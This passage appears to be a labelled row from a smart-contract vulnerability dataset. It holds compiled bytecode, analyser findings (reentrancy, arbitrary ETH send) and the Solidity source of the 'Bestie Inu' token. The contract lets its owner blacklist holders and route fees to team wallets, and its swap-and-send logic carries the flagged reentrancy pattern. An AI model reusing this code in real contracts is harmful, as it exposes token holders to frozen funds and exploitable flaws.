65457600080fd5b600061065f306104ed565b90506104ea81611179565b6000546001600160a01b031633146106945760405162461bcd60e51b815260040161044e90611a45565b600f54600160a01b900460ff16156106ee5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072b3082683635c9adc5dea00000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076457600080fd5b505afa158015610778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079c91906117ef565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e457600080fd5b505afa1580156107f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081c91906117ef565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086457600080fd5b505af1158015610878573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089c91906117ef565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108cc816104ed565b6000806108e16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094457600080fd5b505af1158015610958573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097d91906119c5565b5050600f80546722b1c8c1227a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f557600080fd5b505af1158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106309190611991565b6000546001600160a01b03163314610a575760405162461bcd60e51b815260040161044e90611a45565b60008111610aa75760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044e565b610ac56064610abf683635c9adc5dea000008461131e565b9061139d565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044e565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044e565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044e565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044e565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610fd957600f54600160b81b900460ff1615610e5f576001600160a01b0383163014801590610db157506001600160a01b0382163014155b8015610dcb5750600e546001600160a01b03848116911614155b8015610de55750600e546001600160a01b03838116911614155b15610e5f57600e546001600160a01b0316336001600160a01b03161480610e1f5750600f546001600160a01b0316336001600160a01b0316145b610e5f5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015260640161044e565b601054811115610e6e57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb057506001600160a01b0382166000908152600a602052604090205460ff16155b610eb957600080fd5b600f546001600160a01b038481169116148015610ee45750600e546001600160a01b03838116911614155b8015610f0957506001600160a01b03821660009081526005602052604090205460ff16155b8015610f1e5750600f54600160b81b900460ff165b15610f6c576001600160a01b0382166000908152600b60205260409020544211610f4757600080fd5b610f5242603c611aea565b6001600160a01b0383166000908152600b60205260409020555b6000610f77306104ed565b600f54909150600160a81b900460ff16158015610fa25750600f546001600160a01b03858116911614155b8015610fb75750600f54600160b01b900460ff165b15610fd757610fc581611179565b478015610fd557610fd547611070565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101b57506001600160a01b03831660009081526005602052604090205460ff165b15611024575060005b611030848484846113df565b50505050565b6000818484111561105a5760405162461bcd60e51b815260040161044e91906119f2565b5060006110678486611b41565b95945050505050565b600c546001600160a01b03166108fc61108a83600261139d565b6040518115909202916000818181858888f193505050501580156110b2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110cd83600261139d565b6040518115909202916000818181858888f19350505050158015610630573d6000803e3d6000fd5b600060065482111561115c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044e565b600061116661140b565b9050611172838261139d565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122357600080fd5b505afa158015611237573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125b91906117ef565b8160018151811061127c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a29130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112db908590600090869030904290600401611a7a565b600060405180830381600087803b1580156112f557600080fd5b505af1158015611309573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008261132d575060006103b5565b60006113398385611b22565b9050826113468583611b02565b146111725760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044e565b600061117283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061142e565b806113ec576113ec61145c565b6113f784848461147f565b806110305761103060056008819055600955565b6000806000611418611576565b9092509050611427828261139d565b9250505090565b6000818361144f5760405162461bcd60e51b815260040161044e91906119f2565b5060006110678486611b02565b60085415801561146c5750600954155b1561147357565b60006008819055600955565b600080600080600080611491876115b8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c39087611615565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f29086611657565b6001600160a01b038916600090815260026020526040902055611514816116b6565b61151e8483611700565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611592828261139d565b8210156115af57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115d58a600854600954611724565b92509250925060006115e561140b565b905060008060006115f88e878787611773565b919e509c509a509598509396509194505050505091939550919395565b600061117283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611036565b6000806116648385611aea565b9050838110156111725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044e565b60006116c061140b565b905060006116ce838361131e565b306000908152600260205260409020549091506116eb9082611657565b30600090815260026020526040902055505050565b60065461170d9083611615565b60065560075461171d9082611657565b6007555050565b60008080806117386064610abf898961131e565b9050600061174b6064610abf8a8961131e565b905060006117638261175d8b86611615565b90611615565b9992985090965090945050505050565b6000808080611782888661131e565b90506000611790888761131e565b9050600061179e888861131e565b905060006117b08261175d8686611615565b939b939a50919850919650505050505050565b80356117ce81611b9f565b919050565b6000602082840312156117e4578081fd5b813561117281611b9f565b600060208284031215611800578081fd5b815161117281611b9f565b6000806040838503121561181d578081fd5b823561182881611b9f565b9150602083013561183881611b9f565b809150509250929050565b600080600060608486031215611857578081fd5b833561186281611b9f565b9250602084013561187281611b9f565b929592945050506040919091013590565b60008060408385031215611895578182fd5b82356118a081611b9f565b946020939093013593505050565b600060208083850312156118c0578182fd5b823567ffffffffffffffff808211156118d7578384fd5b818501915085601f8301126118ea578384fd5b8135818111156118fc576118fc611b89565b8060051b604051601f19603f8301168101818110858211171561192157611921611b89565b604052828152858101935084860182860187018a101561193f578788fd5b8795505b8386101561196857611954816117c3565b855260019590950194938601938601611943565b5098975050505050505050565b600060208284031215611986578081fd5b813561117281611bb4565b6000602082840312156119a2578081fd5b815161117281611bb4565b6000602082840312156119be578081fd5b5035919050565b6000806000606084860312156119d9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a1e57858101830151858201604001528201611a02565b81811115611a2f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ac95784516001600160a01b031683529383019391830191600101611aa4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611afd57611afd611b73565b500190565b600082611b1d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b3c57611b3c611b73565b500290565b600082821015611b5357611b53611b73565b500390565b6000600019821415611b6c57611b6c611b73565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ea57600080fd5b80151581146104ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207fab99ceee67bad58d19347f24018b60fb3e71f5e13b6b4748e6bd52a9fcac3c64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,587 |
0x37cdd403b38670706e79c6533a1c0fb5e722fb75
|
/**
*Submitted for verification at Etherscan.io on 2021-07-01
*/
/*
,-----. ,--. ,--.
| |) /_ ,---. ,---.,-' '-.`--' ,---.
| .-. \| .-. :( .-''-. .-',--.| .-. :
| '--' /\ --..-' `) | | | |\ --.
`------' `----'`----' `--' `--' `----'
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BestieInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bestie Inu";
string private constant _symbol = "Bestie";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _buybackWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable teamAddr, address payable buybackAddr) {
_teamAddress = teamAddr;
_buybackWallet = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_buybackWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(7).div(10));
_buybackWallet.transfer(amount.mul(3).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 10);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d2565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121b565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600a81526020017f42657374696520496e7500000000000000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611475565b61055b846104a66112a2565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db9565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4265737469650000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e27565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612e5f565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612acd565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612fe6565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612fa6565b60405180910390fd5b6111d960646111cb83683635c9adc5dea0000061212190919063ffffffff16565b61219c90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121091906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff